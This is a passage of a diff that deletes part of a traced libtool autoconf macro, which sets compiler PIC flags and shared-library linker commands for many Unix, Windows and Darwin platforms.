- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
-
- uts4*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
- esac
- fi
-])
-AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)])
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then
- AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) works],
- _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1),
- [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])], [],
- [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in
- "" | " "*) ;;
- *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)" ;;
- esac],
- [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no])
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_AC_TAGVAR(lt_prog_compiler_static, $1)\"
-AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works],
- _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1),
- $lt_tmp_static_flag,
- [],
- [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=])
-])
-m4trace:acinclude.m4:5946: -1- AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
-ifelse([$1],[CXX],[
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- case $host_os in
- aix4* | aix5*)
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- else
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- fi
- ;;
- pw32*)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
- ;;
- cygwin* | mingw*)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([[^ ]]*\) [[^ ]]*/\1 DATA/;/^I /d;/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- *)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- esac
-],[
- runpath_var=
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
- _LT_AC_TAGVAR(archive_cmds, $1)=
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)=
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)=
- _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)=
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- _LT_AC_TAGVAR(thread_safe_flag_spec, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
- _LT_AC_TAGVAR(hardcode_automatic, $1)=no
- _LT_AC_TAGVAR(module_cmds, $1)=
- _LT_AC_TAGVAR(module_expsym_cmds, $1)=
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- _LT_AC_TAGVAR(include_expsyms, $1)=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- _LT_AC_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- _LT_CC_BASENAME([$compiler])
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
- # as there is no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- interix3*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
-
- if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no; then
- runpath_var=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=yes
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- else
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- _LT_AC_TAGVAR(archive_cmds, $1)=''
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[[012]]|aix4.[[012]].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- else
- # We have old collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- _LT_AC_TAGVAR(always_export_symbols, $1)=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- # see comment about different semantics on the GNU ld section
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- bsdi[[45]]*)
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='true'
- # FIXME: Should let the user specify the lib program.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs'
- _LT_AC_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
